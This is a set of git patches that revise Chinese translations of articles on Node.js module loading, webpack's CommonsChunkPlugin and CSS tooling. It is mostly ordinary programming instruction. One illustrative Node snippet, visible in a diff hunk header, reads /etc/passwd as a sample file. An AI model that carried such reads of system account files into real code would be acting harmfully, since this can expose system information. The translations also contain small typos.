+>注意：我们并没有使用 `exports = function() {}` 来将 `exports` 对象更改为函数。实际上，由于各模块中的 `exports` 变量仅仅是对管理输出属性的 `module.exports` 的引用，当我们对 `exports` 变量重新赋值时，引用就会丢失，因此我们只需要引入一个新的变量，而不是对 `module.exports` 进行修改。
 
 各模块中的 `module.exports` 对象就是我们在引入该模块时 `require` 函数的返回值。例如，我们将 `index.js` 中的 `require('./lib/util')` 改为：
 
@@ -338,7 +337,7 @@ UTIL: { id: 'lib/util' }
 
 我们再来谈谈各模块中的 `loaded` 属性。到目前为止我们打印的所有 module 对象中都有一个值为 `false` 的 `loaded` 属性。
 
-`module` 模块使用 `loaded` 属性对模块的加载状态进行跟踪，判断哪些模块已经加载完成（值为 true）以及哪些模块仍在加载（值为 false）。例如，要判断 `index.js` 模块是否已完全加载，我们可以在下一个事件循环中使用一个 `setImmediate` 回调打印出他的 `module` 对象。
+`module` 模块使用 `loaded` 属性对模块的加载状态进行跟踪，判断哪些模块已经加载完成（值为 true）以及哪些模块仍在加载（值为 false）。例如，我们可以使用 `setImmediate` 在下一个事件循环中打印出它的 `module` 对象，以此来判断 `index.js` 模块是否已完全加载。
 
 ```
 // index.js 中
@@ -374,8 +373,7 @@ The index.js module object is now loaded! Module {
 
 >注意：这个延迟的 `console.log` 的输出显示了 `lib/util.js` 和 `index.js` 都已完全加载。
 
-The `exports` object becomes complete when Node finishes loading the module (and labels it so). The whole process of requiring/loading a module is *synchronous.* That’s why we were able to see the modules fully loaded after one cycle of the event loop.
-`exports` 对象在 Node 完成引入/加载所有模块并标记时（becomes complete……构建完成？？）。引入一个模块的整个过程是 **同步的**，因此我们才能在一个事件循环结束后看见模块被完全加载。
+在 Node 完成加载模块（并标记为完成）时，`exports` 对象也就完成了。引入一个模块的整个过程是 **同步的**，因此我们才能在一个事件循环后看见模块被完全加载。
 
 这也意味着我们无法异步地更改 `exports` 对象。例如，我们在任何模块中都无法执行以下操作：
 
@@ -387,7 +385,7 @@ fs.readFile('/etc/passwd', (err, data) => {
 });
 ```
 
-#### 循环模块依赖 ####
+#### 模块的循环依赖 ####
 
 我们现在来回答关于 Node 中循环依赖的重要问题：当我们在模块1中引用模块2，在模块2中引用模块1时会发生什么？
 
@@ -416,18 +414,17 @@ console.log('Module1 is partially loaded here', Module1);
 Module1 is partially loaded here { a: 1 }
 ```
 
-我们在 `module1` 加载完成前引用了 `module2`，而此时 `module1` 尚未加载完，我们从当前的 `exports` 对象中得到的是在循环依赖之前导出的所有属性。这里只列出的只有属性 `a`，因为属性 `b` 和 `c` 都是在 `module2` 引入并打印了 `module1` 后导出的。
+我们在 `module1` 加载完成前引用了 `module2`，而此时 `module1` 尚未加载完，我们从当前的 `exports` 对象中得到的是在循环依赖之前导出的所有属性。这里被列出的只有属性 `a`，因为属性 `b` 和 `c` 都是在 `module2` 引入并打印了 `module1` 后才导出的。
 
 Node 使这个过程变得非常简单。它在模块加载时构建 `exports` 对象。你可以在该模块完成加载前引用它，而你将得到此时已定义的部分导出对象。
 
-#### JSON and C/C++ addons ####
-#### 使用 JSON 和 C/C++ 插件 ####
+#### 使用 JSON 文件和 C/C++ 插件 ####
 
-我们可以使用自带的 require 函数引用 JSON 文件和 C++ 插件。你甚至不需要为此去指定一个文件扩展。
+我们可以使用自带的 require 函数引用 JSON 文件和 C++ 插件。你甚至不需要为此指定文件扩展名。
 
-如果一个文件扩展未被声明，Node 会在第一时间解析 `.js` 文件。如果没有找到 `.js` 文件，它将继续寻找 `.json` 文件并在找到一个 JSON 文本文件后将其解析为 `.json` 文件。随后，Node 将会查找二进制的 `.node` 文件。但是为了避免歧义，你最好在引用除 `.js` 文件以外的文件类型时声明文件扩展。
+如果没有指定文件扩展名，Node 会在第一时间尝试解析 `.js` 文件。如果没有找到 `.js` 文件，它将继续寻找 `.json` 文件并在找到一个 JSON 文本文件后将其解析为 `.json` 文件。随后，Node 将会查找二进制的 `.node` 文件。为了避免产生歧义，你最好在引用除 `.js` 文件以外的文件类型时指定文件扩展名。
 
-如果你需要在文件中放置的内容都是一些静态的配置信息，或定期从外部来源读取的一些值，那么使用 JSON 文件非常有用。例如，我们有以下 `config.json` 文件：
+如果你需要在文件中放置的内容都是一些静态的配置信息，或者需要定期从外部来源读取一些值时，使用 JSON 文件将非常方便。例如，我们有以下 `config.json` 文件：
 
 ```
 {
@@ -452,9 +449,9 @@ Server will run at [http://localhost:8080](http://localhost:8080)
 ```
 
 
-如果 Node 找不到 `.js` 或 `.json` 文件，它将查找一个 `.node` 文件并将其解释为一个编译后的插件模块。
+如果 Node 找不到 `.js` 或 `.json` 文件，它会寻找 `.node` 文件并将其作为一个编译好的插件模块进行解析。
 
-Node 文档站点有一个用 C++ 编写的[插件示例](https://nodejs.org/api/addons.html#addons_hello_world)，该示例模块提供了一个输出 “world” 的 `hello()` 函数。
+Node 文档中有一个用 C++ 编写的[插件示例](https://nodejs.org/api/addons.html#addons_hello_world)，该示例模块提供了一个输出 “world” 的 `hello()` 函数。
 
 你可以使用 `node-gyp` 插件将 `.cc` 文件编译成 `.addon` 文件。只需要配置一个 [binding.gyp](https://nodejs.org/api/addons.html#addons_building) 文件来告诉 `node-gyp` 要做什么。
 
@@ -466,16 +463,15 @@ const addon = require('./addon');
 console.log(addon.hello());
 ```
 
-我们可以通过 `require.extensions` 查看 Node 对这三类扩展的支持。
+我们可以在 `require.extensions` 中查看 Node 对这三类扩展名的支持。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*IcpIrifyQIn9M0q8scMZdA.png">
 
-你可以从各个扩展对应的函数中清楚了解 Node 对它们分别所做的操作：对 `.js` 文件使用 `module._compile`，对 `.json` 文件使用 `JSON.parse`，对 `.node` 文件使用 `process.dlopen`。
+你可以看到每个扩展名分别对应的函数，从中了解 Node 会对它们做出怎样的操作：对 `.js` 文件使用 `module._compile`，对 `.json` 文件使用 `JSON.parse`，对 `.node` 文件使用 `process.dlopen`。
 
-#### All code you write in Node will be wrapped in functions ####
-#### 你在 Node 中写的所有代码都将被包装成函数 ####
+#### 你在 Node 中写的所有代码都将被封装成函数 ####
 
-Node 的模块打包经常被误解。要了解它的原理，请回忆一下 `exports` 与 `module.exports` 的关系。
+常常有人误解 Node 的模块封装。要了解它的原理，请回忆一下 `exports` 与 `module.exports` 的关系。
 
 我们可以使用 `exports` 对象导出属性，但是由于 `exports` 对象仅仅是对 `module.exports` 的一个引用，我们无法直接对其执行替换操作。
 
@@ -489,10 +485,8 @@ module.exports = { id: 42 }; // 有效
 
 这个 `exports` 对象看起来对所有模块都是全局的，它是如何被定义成 `module` 对象的引用的呢？
 
-Let me ask one more question before explaining Node’s wrapping process.
-在解释 Node 的打包进程前，让我们再来思考一个问题：
+在解释 Node 的封装过程前，让我们再来思考一个问题：
 
-In a browser, when we declare a variable in a script like this:
 在浏览器中，我们在脚本里声明如下变量：
 
 ```
@@ -501,7 +495,7 @@ var answer = 42;
 
 `answer` 变量对声明该变量的脚本后的所有脚本来说都是全局的。
 
-然而在 Node 中却不是这样的。我们在一个模块中定义了变量，项目中的其他模块却将无法访问该变量。那么在 Node 中是如何神奇地做到为变量是限定作用域的呢？
+然而在 Node 中却不是这样的。我们在一个模块中定义了变量，项目中的其他模块却将无法访问该变量。那么 Node 是如何神奇地做到为变量限定作用域的呢？
 
 答案很简单。在编译模块前，Node 就将模块代码封装在一个函数中，我们可以使用 `module` 模块的 `wrapper` 属性来查看。
 
@@ -513,7 +507,7 @@ var answer = 42;
 >
 ```
 
-Node 并不会执行你直接在文件中写入的任何代码。它仅仅执行你的代码通过封装得到的封装函数。这就保证了所有模块中定义的顶级变量的作用域都被限定在该模块中。
+Node 并不会直接执行你在文件中写入的代码。它执行的是封装着你的代码的函数。这就保证了所有模块中定义的顶级变量的作用域都被限定在该模块中。
 
 这个封装函数包含五个参数：`exports`、`require`、`module`、`__filename` 和 `__dirname`。这些参数看起来像是全局的，实际上却是每个模块特定的。
 
@@ -567,7 +561,7 @@ ReferenceError: euaohseu is not defined
   '4': '/Users/samer' }
 ```
 
-第一个参数是 `exports` 对象，初始值为空。`require`/`module` 对象都是与当前执行的 `index.js` 文件关联的示例。它们不是全局变量。最后两个参数分别为当前文件路径和目录路径。
+第一个参数是 `exports` 对象，初始值为空。`require`/`module` 对象都与当前执行的 `index.js` 文件的实例关联。它们不是全局变量。最后两个参数分别为当前文件路径和目录路径。
 
 封装函数的返回值是 `module.exports`。在封装函数中，我们可以使用 `exports` 对象更改 `module.exports` 的属性，但是由于它仅仅是一个引用，我们无法对其重新赋值。
 
@@ -583,13 +577,13 @@ function (require, module, __filename, __dirname) {
 }
 ```
 
-如果我们更改了整个 `exports` 对象，它将不再是对 `module.exports` 的引用。并不仅仅是在这个上下文中，JavaScript 引用对象在所有场景下的工作模式都是如此。
+如果我们更改了整个 `exports` 对象，它将不再是对 `module.exports` 的引用。并不仅仅是在这个上下文中，JavaScript 在任何情况下引用对象都是这样的。
 
 #### require 对象 ####
 
 `require` 没有什么特别的。它作为一个函数对象，接收一个模块名称或路径，返回 `module.exports` 对象。我们也可以用我们自己的逻辑重写 `require` 对象。
 
-举个例子，为了测试的目的，我们希望每个 `require` 调用默认为 mocked 并返回一个假的对象，而不是引用的模块所导出的对象。这个对 require 的简单重新赋值会这样实现：
+举个例子，为了测试的目的，我们希望每个 `require` 的调用都返回一个伪造的 mocked 对象，而不是引用的模块所导出的对象。这个对 require 的简单重新赋值会这样实现：
 
 ```
 require = function() {
@@ -601,7 +595,7 @@ require = function() {
 
 经过以上对 `require` 重新赋值后，脚本中的每个 `require('something')` 调用都会返回 mocked 对象。
 
-require 对象也有它自己的属性。我们已经认识了 `resolve` 属性，它是在整个引用进程中执行解析步骤的函数。我们也见识了 `require.extensions`。
+require 对象也有它自己的属性。我们已经认识了 `resolve` 属性，它是在 require 过程中负责解析步骤的函数。我们也见识了 `require.extensions`。
 
 还有 `require.main` 属性，有助于判断当前脚本是正被引用还是直接执行。
 
@@ -667,7 +661,7 @@ if (require.main === module) {
 }
 ```
 
-如果文件没有被引用，我们调用使用 `process.argv` 参数的 `printInFrame` 函数。否则我们就将 `module.exports` 对象替换为 `printInFrame` 函数自身。
+如果文件不是被引用的，我们使用 `process.argv` 的参数来调用 `printInFrame` 函数。否则我们就将 `module.exports` 对象替换为 `printInFrame` 函数。
 
 #### 所有模块都将被缓存 ####
 
@@ -685,9 +679,9 @@ require('./ascii-art') // 显示标题
 require('./ascii-art') // 不显示标题
 ```
 
-由于模块缓存，第二次的引用将不会显示标题。Node 将缓存第一次调用，在第二次调用时并不会加载文件。
+由于模块缓存，第二次的引用将不会显示标题。Node 会在第一次调用时进行缓存，在第二次调用时不再加载文件。
 
-我们可以通过在第一次引用后打印 `require.cache` 来查看缓存。缓存注册是一个对象，对应每个模块都有特定属性。这些属性值即用于各模块的 `module` 对象。我们可以通过简单地从 `require.cache` 对象中删除一个属性来令该缓存失效，然后 Node 就会再次加载并缓存该模块。
+我们可以通过在第一次引用后打印 `require.cache` 来查看缓存。管理缓存的是一个对象，它的属性值分别对应引用过的模块。这些属性值即用于各模块的 `module` 对象。我们可以通过简单地从 `require.cache` 对象中删除一个属性来令该缓存失效，然后 Node 就会再次加载并缓存该模块。
 
 然而，这并不是应对这种情况最高效的解决方案。简单的解决办法是将 `ascii-art.js` 中的打印代码用一个函数封装起来并导出该函数。通过这种方式，每当我们引用 `ascii-art.js` 文件时，我们就能获取到一个可执行函数，以供我们多次调用打印代码：
 

From 585effb5fe1f6c055485b6b4600d7c4dc07466b8 Mon Sep 17 00:00:00 2001
From: reid <geniusreid@163.com>
Date: Thu, 6 Apr 2017 19:33:07 +0800
Subject: [PATCH 046/638] =?UTF-8?q?=E5=AE=8C=E6=88=90=E5=88=9D=E7=A8=BF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...-the-most-out-of-the-commonschunkplugin.md | 94 +++++++++----------
 1 file changed, 46 insertions(+), 48 deletions(-)

diff --git a/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md b/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
index 2358fdc9217..f04614349c5 100644
--- a/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
+++ b/TODO/webpack-bits-getting-the-most-out-of-the-commonschunkplugin.md
@@ -1,35 +1,34 @@
 > * 原文地址：[webpack bits: Getting the most out of the CommonsChunkPlugin()](https://medium.com/webpack/webpack-bits-getting-the-most-out-of-the-commonschunkplugin-ab389e5f318#.hn8v7ul1f)
 > * 原文作者：[Sean T. Larkin](https://medium.com/@TheLarkInn?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[reid3290](https://github.com/reid3290)
 > * 校对者：
 
-# webpack bits: Getting the most out of the CommonsChunkPlugin() #
+# webpack 拾翠：充分利用 CommonsChunkPlugin() #
 
-From time to time, the webpack core team loves to get the community involved on Twitter, and share bits and pieces of [knowledge in a fun and informative way](https://twitter.com/TheLarkInn/status/842817690951733248).
+隔三差五地，webpack 核心团队总是喜欢在 Twitter 上作一些寓教于乐的[技术分享](https://twitter.com/TheLarkInn/status/842817690951733248)。
 
 ![Markdown](http://i4.buimg.com/1949/614a949156a09f9e.png)
 
+这次的“游戏规则”很简单：安装 `webpacl-bundle-analyzer`，生成一张包含所有 bundles 信息的酷炫图片分享给我，然后 webpack 团队会帮忙指出任何潜在的问题。
 
-This time, the “rules to the game” were simple. Install `webpack-bundle-analyzer`, generate a fancy colorful image of all of your bundles, and share it with me. In return, the webpack team offered to help identify any potential issues we could spot!
+### 我们发现了什么？ ###
 
-### What did we find? ###
+最常见的问题是代码重复：库、组件、代码在多个（同步的、异步的）bundles 中重复出现。
 
-The most common theme was code duplication: Libraries, components, code was duplicated across multiple [sync or async] bundles!
-
-### Case One: Many vendor bundles with duplicate code ###
+### 案例一：很多重复代码的 vendor bundles ###
 
 ![Markdown](http://i4.buimg.com/1949/4861f2a4f8e4ad74.png)
 
-[Swizec Teller](https://medium.com/@swizec) was kind enough to share one of his builds (which in fact is built for over 8–9 standalone single-page applications ). I chose this example out of all of them because there so many great techniques we can identify from it. So lets look at this in more detail:
+[Swizec Teller](https://medium.com/@swizec) 分享了一个构建图（实际上是对 8-9 个独立单页应用的构建）。在众多例子中我决定选择这一个，因为我们可以从中学到很多技术，下面让我们来仔细分析一下：
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*Mt5awEvcigXceRDpZRX4Dw.png">
 
-Closest to the “FoamTree” icon is the application code itself, meanwhile, anything that was used from node_modules is to the far left ending in “_vendor.js”
+距离 “FoamTree” 图标最近的是应用本身的代码，而其他所有 node_modules 的代码则是左边那些以 "_vendor.js" 结尾的。
 
-We can infer quite a few things from this (without looking at the actual configuration).
+单从这幅图（不需要看实际配置文件）中我们就能推断出很多事情。
 
-Each single-page app is using a `new CommonsChunkPlugin` that targets just that entry point, and its vendor code. This creates a bundle with only modules that come from node_modules folder, and another bundle with just application code. The configuration portion was even provided:
+每个单页应用都运用了一个 `new CommonsChunkPlugin` ，并以其 entry 和 vendor 代码为目标。这会生成两个 bundles，一个只包含 node_modules 里面的代码，另一个则只包含应用本身的代码。（Swizec Teller）甚至还提供了部分配置信息：
 
 ![Markdown](http://i4.buimg.com/1949/5a6138ec9a638b46.png)
 
@@ -40,51 +39,51 @@ Each single-page app is using a `new CommonsChunkPlugin` that targets just that
         minChunks: isVendor
       }))
 
-The `activeApps` variable most likely represents each of the individual entry points.
+其中 `activeApps` 变量很可能是用来表示独立入口点的。
 
-#### Areas of Opportunity ####
+#### 可以优化的地方 ####
 
-Below are a few areas that I circled that could use some improvement.
+下面几个画圈的是可以优化的地方。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*D4m4sa9X1V05y7I7ZCMbZA.png">
 
-#### “Meta” caching ####
+#### “Meta” 缓存 ####
 
-What we see above is many large libraries like momentjs, lodash, and jquery being used across 6 or more vendor bundles. The strategy for adding all vendors into a separate bundle is good, but we should also apply that same strategy across *all vendor bundles*.
+从上图可以看出，许多大型代码库（例如 momentjs、lodash、jquery 等）同时被 6 个（甚至更多） bundles 用到了。将所有 vendors 打包到一个独立 bundle 中的策略是很好的，但其实对**所有 vendor bundles** 也应该采取同样的策略。
 
-I suggested that [Swizec](https://medium.com/@swizec) add the following at the ***end of his plugins array***:
+我建议 [Swizec](https://medium.com/@swizec) 将如下插件添加到**插件数组的末尾**：
 
     new webpack.optimize.CommonsChunkPlugin({
       children: true, 
       minChunks: 6
     })
 
-What we are telling webpack is the following:
+这是在告诉 webpack：
 
-> *Hey webpack, look across all chunks (including the vendor ones that were generated) and move any modules that occur in at least 6 chunks to a separate file.*
+> **嘿 webpack，请检查所有的 chunks（包括那些由 webpack 生成的 vendor chunks），找出那些在 6个及6个以上 chunks 中都出现过的模块，并将其移到一个独立的文件中。**
 
 ![Markdown](http://i4.buimg.com/1949/e78d1afe76a28e8c.png)
 
 
 ![Markdown](http://i4.buimg.com/1949/34e0c53c6bcbebc0.png)
 
-As you can see now, all of those modules were extracted into a separate file, and on top of that, [Swizec](https://medium.com/@swizec) reported that this decreased overall application sizes by 17%!
+如你所见，现在所有符合要求的模块都被抽离到一个独立的文件中，因此应用整体上减小了 17%。
 
-### Case Two: Duplicate vendors across async chunks:
+### 案例二：异步 chunks 中的重复 vendors
 
 ![Markdown](http://i4.buimg.com/1949/6c6cf1a954d205cf.png)
 
-So this amount of duplication wasn’t as severe in terms of overall code size, however, when you look at the full size image below, you can see the exact same 3 modules across every async chunk.
+就整体代码体积来说，这种数量的重复并不严重；但是，如果你看到下面这张完整大图，你就会发现每一个异步 chunk 中都有 3 个一模一样的模块。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/2000/1*yRCgk_pzDpkMfQGKpCO_HA.jpeg">
 
-Async chunks are ones containing “[number].[number].js” in their filename
+异步 chunks 是指那些文件名形如 "[number].[number].js" 的 chunk。
 
-As you can see above, the same 2–3 components are used across all 40–50 async bundles. So how do we solve this with `CommonsChunkPlugin?`
+如上图所示，四五十个异步 bundles 都用到了两三个同样的组件，我们该如何利用 `CommonsChunkPlugin` 来解决此问题呢？
 
-#### Create an async Commons Chunk ####
+#### 创建一个异步 Commons Chunk ####
 
-The technique will be very similar to the first, however we will need to set the `async` property in the configuration option, to `true` as seen below:
+解决方法和第一个案例中的类似，但是需要将配置选项中的 `async` 属性设为 `true`，代码如下：
 
     new webpack.optimize.CommonsChunkPlugin({
       async: true, 
@@ -92,22 +91,21 @@ The technique will be very similar to the first, however we will need to set the
       filename: "commonlazy.js"
     });
 
-In the same way — webpack will scan all chunks and look for common modules. Since `async: true`, only code split bundles will be scanned. Because we did not specify `minChunks` the value defaults to 3. So what webpack is being told is:
+类似地 —— webpack 会扫描所有 chunks 并检查公共模块。由于设置了 `async: true`，只有代码拆分的 bundles 会被扫描。因为我们并没有指明 `minChunks` 的值，所有 webpack 会取其默认值 3。综上，上述代码的含义是：
 
-> *Hey webpack, look through all normal [aka lazy loaded] chunks, and if you find the same module that appears across 3 or more chunks, then separate it out into a separate async commons chunk.*
+> **嘿 webpack，请检查所有的普通（即懒加载的）chunks，如果某个模块出现在了 3 个或 3 个以上的 chunks 中，就将其分离到一个独立的异步公共 chunk 中去。**
 
-Here is what the result was:
+效果如下图所示：
 
 ![Markdown](http://i4.buimg.com/1949/626cbab70072f442.png)
 
+现在异步 chunks 都非常的小，并且所有代码都被聚合到 `commonlazy.js` 文件中去了。因为这些 bundles 本来就很小了， 首次访问可能都察觉不到代码体积的变化。现在，每一个代码拆分的 bundle 所需携带的数据更少了；而且，通过将这些公共模块放到一个独立可缓存的 chunk 中，我们节省了用户加载时间，降低了数据消费量（data consumption）。
 
-Now the async chunks are extremely tiny, and all of that code has been aggregated into one file called `commonlazy.js` . Since these bundle were already pretty tiny, the size impact wasn’t very noticeable until second visit. Now there is far less data being shipped per code split bundle and we are saving users load time and data consumption by placing those common modules into a separate cacheable chunk.
-
-#### More control: minChunks function ####
+#### 更多控制：minChunks 函数 ####
 
 ![Markdown](http://i4.buimg.com/1949/4c434dda7236e0e0.png)
 
-So what if you want to have more control? There are scenarios where you don’t want to have a single shared bundle because not every lazy/entry chunk may use it. The `minChunks` property also takes a function!! This can be your “filtering predicate” for what modules are added to your newly created bundle. Below are examples of
+那如果你想要跟多的控制权呢？某些情况下你可能并不想要一个单独的共享 bundle，因为并不是每一个懒加载/入口 chunk 都要用到它。`minChunks` 属性的取值也可以是一个函数！该函数可以用作“过滤器”，决定将哪些模块加到新创建的 bundle 中去。示例如下：
 
     new webpack.optimize.CommonsChunkPlugin({
       filename: "lodash-moment-shared-bundle.js", 
@@ -116,51 +114,51 @@ So what if you want to have more control? There are scenarios where you don’t
       }
     })
 
-The example above says:
+上例含义是：
 
-> *Yo webpack, when you come across a module whos absolute path matches lodash or momentjs, and occurs across 3 separate entries/chunks, then extract those modules into a separate bundle.*
+> **呦 webpack，如果你发现某个模块的绝对路径和 lodash 或 momentjs 相匹配并且出现在了 3 个（或 3 个以上）独立的 entries/chunks 中，请将其抽取到一个独立的 bundle 中去。**
 
-You could apply this same behavior to async bundles by setting `async: true` also!
+通过设置 `async: true`，你也可以将此方法应用到异步 bundles 中。
 
-#### Even moar control
+#### 更多更多控制
 
 ![Markdown](http://i4.buimg.com/1949/4c434dda7236e0e0.png)
 
-With this `minChunks` you can create smaller subsets of cacheable vendors for specific entries and bundles. In the end, you may wind up with something that looks like this:
+有了这种 `minChunks`，你就可以为特定的 entries 和 bundles 生成更小的可缓存 vendors 的子集。最终，你的代码看起来大概就像这样：
 
     function lodashMomentModuleFilter(module, count) {
       return module.resource && /lodash|moment/.test(module.resource) && count >= 2;
     }
-
+    
     function immutableReactModuleFilter(module, count) {
       return module.resource && /immutable|react/.test(module.resource) && count >=4
     }
-
+    
     new webpack.optimize.CommonsChunkPlugin({
       filename: "lodash-moment-shared-bundle.js", 
       minChunks: lodashMomentModuleFilter
     })
-
+    
     new webpack.optimize.CommonsChunkPlugin({
       filename: "immutable-react-shared-bundle.js", 
       minChunks: immutableReactModuleFilter
     })
 
-### There is no silver bullet! ### 
+### 没有银弹！ ### 
 
-`CommonsChunkPlugin()` may be powerful, but keep in mind that each one of these examples is tailored to the application it is applied to. So before you copy-pasta these snippets in, take advice from [Sam Saccone](https://medium.com/@samccone) and [Paul Irish](https://medium.com/@paul_irish) and [MPDIA](https://youtu.be/6m_E-mC0y3Y?t=11m38s) first to make sure you apply the right solution.
+`CommonsChunkPlugin()` 固然很强大，但要记住本文中的例子都是针对特定应用的。因此，在复制-粘贴这些代码片段之前，请先听听 [Sam Saccone](https://medium.com/@samccone) 、[Paul Irish](https://medium.com/@paul_irish) 和 [MPDIA](https://youtu.be/6m_E-mC0y3Y?t=11m38s) 的建议，避免用错了方法。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*ca-C6QCv9ANIJ05lR8wm_w.png">
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/600/1*BGLLxCDDczXd9hxO47eTcw.png">
 
-Always understand your process before applying solutions!
+在应用解决方法之前，一定要理解方法背后的思路！
 
-### Where can I find more examples? ###
+### 哪里还有更多例子？ ###
 
-These are just a sampling of options and uses for `CommonsChunkPlugin()`. To find more, check out our `[/examples](https://github.com/webpack/webpack/tree/master/examples)`[ directory](https://github.com/webpack/webpack/tree/master/examples) in our webpack/webpack core GitHub repo! If you have a great idea for more, feel free and submit a [Pull Request](https://github.com/webpack/webpack/blob/master/CONTRIBUTING.md)!
+上述只是 `CommonsChunkPlugin()` 的部分用例，更多资源请参考我们 webpack/webpack core GitHub 仓库中的 `[/examples](https://github.com/webpack/webpack/tree/master/examples)` [目录](https://github.com/webpack/webpack/tree/master/examples)。如果你还有其他好想法，欢迎 [Pull Request](https://github.com/webpack/webpack/blob/master/CONTRIBUTING.md)！
 
-No time to help contribute? Want to give back in other ways? Become a Backer or Sponsor to webpack by [donating to our open collective](https://opencollective.com/webpack). Open Collective not only helps support the Core Team, but also supports contributors who have spent significant time improving our organization on their free time! ❤
+没时间贡献代码？希望以其他方式做贡献？向[我们的 open collective]()(https://opencollective.com/webpack) 捐款，即刻成为赞助商。Open Collective 不仅为核心团队提供支持，同时也帮助那些在空闲时间为提升我们社区质量而花费了大量宝贵时间的贡献者们！❤
 
 ---
 

From 9fac6e7b556039ab17c4a8f0c867bf2f888a44d7 Mon Sep 17 00:00:00 2001
From: ZhangFe <zhangzhe0214@gmail.com>
Date: Thu, 6 Apr 2017 19:34:16 +0800
Subject: [PATCH 047/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E8=80=85=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/css-is-fine-its-just-really-hard.md | 27 ++++++++++++------------
 1 file changed, 13 insertions(+), 14 deletions(-)

diff --git a/TODO/css-is-fine-its-just-really-hard.md b/TODO/css-is-fine-its-just-really-hard.md
index 4a018dbec8d..42a513f458a 100644
--- a/TODO/css-is-fine-its-just-really-hard.md
+++ b/TODO/css-is-fine-its-just-really-hard.md
@@ -18,31 +18,30 @@ CSS 很棒。它只是太难了，所以我对它进行了一些编译。
 
 ![](https://cdn-images-1.medium.com/max/1600/1*ioYNZ-FgsSpoos6b3iKblg.png)
 
-我已经在电脑和手机屏幕上画了很久的矩形。我写了很多不好的 CSS，成千上万行较差的 Less 代码和大量可怕的 Sass。他们已经融入我的血液了。
+很长一段时间以来, 我在电脑和手机上画了很多很多的矩形。我写了很多糟糕的 CSS，成千上万行差劲的 Less 代码和大量可怕的 Sass。他们已经融入我的血液了。
 
 但是我也写过很多很棒的 CSS！我使用 borders 画过三角形，使用 CSS transforms 绘制贝塞尔曲线，制作 60fps 的滚动动画，以及会让你大吃一惊的工具提示。
 
-CSS 是一项非常棒的技术。给我 30 秒我可以写一些纯 HTML 并且使用你从未见过的最差的蓝色和 Times New Roman 字体展示一些花哨的的文本和超链接。再给我 30 秒我又会使那个蓝色好看一些，并且我可以用一个漂亮的字体。
+CSS 是一项非常棒的技术。给我 30 秒我可以写一些纯 HTML 并且使用你见过的最丑的蓝色和 Times New Roman 字体展示一些文本和超链接。再给我 30 秒我又会使那个蓝色好看一些，并且我可以用一个漂亮的字体。
 
 它非常直观。如果我想我所有的链接看起来一样，我随时可以办到。希望图片有漂亮的边框和外边距？没问题。这就是 CSS 被创造的原因。
 
-长久以来，很多人都在为了让 CSS 更快速，可调试以及看起来更舒适做出努力。
-CSS 现在也是这么发展的，并且我们可以免费使用这些复杂的工具，这简直太棒了。更不用说无数的博客和超酷的示例，我们可以利用 Google 搜索快速检索到这些信息。
+CSS性能极高。长久以来，很多人都在为了让 CSS 更快速，可调试以及看起来更舒适做出努力。CSS 现在也是这么发展的，并且我们可以免费使用这些复杂的工具，这简直太棒了。更不用说我们可以利用 Google 搜索快速检索到无数的博客和超酷的示例。
 
 —
 
-当我年轻的时候，我意识到如果每当我想让边框和超链接文本是同一个颜色的时候都需要在两三个不同的地方去改变是非常可怕的。然后我发现了 LESS。现在我可以定义一个 `@wonderfulBlue` 并且在任何地方去使用它。*好吧，现在 Jordan 的 CSS 有变量了...*
+当我年轻的时候，我发现每当我想让边框和超链接文本是同一个颜色的时候我都需要在两三个不同的地方去修改，这真是太可怕了。然后我发现了 LESS。现在我可以定义一个 `@wonderfulBlue` 并且在任何地方去使用它。*喂，Jordan，现在的 CSS 也有变量了...*
 
 
-然后我开始考虑为什么我留下的所有的长评论模块 `#left-section` 的宽度总是546px（250 * 2 + 23 * 2）？于是我开始使用 Less 写我的数学表达式：`2 * @sectionWidth + 2 * @sectionPadding`。*我猜测你不熟悉 calc()，因为它浏览器兼容性不好*
+然后我开始考虑为什么要为解释 `#left-section` 的宽度是546px（250 * 2 + 23 * 2）留下很长的注释？我开始使用 Less 写我的数学表达式：`2 * @sectionWidth + 2 * @sectionPadding`。*我猜测你不熟悉 calc()，因为它浏览器兼容性不好*
 
 当年 `border-radius` 需要被 polyfill 时，我在所有使用到的地方添加前缀。后来我使用了 `border-radius()` mixin，这样只要在我需要使用的时候把代码添加上就可以了。*好吧如果你只用到了组件分类呢 —*。伙计你能停一停么？让我完成我的文章先。*我错了—*。没事，别担心，继续听下去。
 
-当我需要分割 CSS 代码时，我开始写 Less。我向你保证我依然在写 CSS，并且它在我的用户的设备上工作的非常棒。只是我比原来忙了 10 倍，我无法单独去编写它了。
+当 CSS 解决不了我的问题时，我开始写 Less。它们会被编译成 CSS，并且它在我的用户的设备上工作的非常棒。只是我比原来忙了 10 倍，我无法单独去编写它了。
 
 —
 
-我开始[团队作战](https://www.khanacademy.org/)，在这些大型页面上有很多类和变量。我的工作就是对现有的标记做导航，复用变量，将常见的模式重构为自己的实用类和方法，以及其他所有开发者应该做的事。
+我开始[团队协作](https://www.khanacademy.org/)，在这些大型页面上有很多类和变量。我的工作就是对现有的标记做导航，复用变量，将常见的模式重构为自己的实用类和方法，以及其他所有开发者应该做的事。
 
 他们中的某些页面已经很庞大了，因此通常我们会将我们的 CSS （好吧，Less）和 JavaScript 分割成独立的文件，这样用户就不必下载练习页面的代码来观看视频。
 
@@ -56,12 +55,12 @@ CSS 现在也是这么发展的，并且我们可以免费使用这些复杂的
 
 —
 
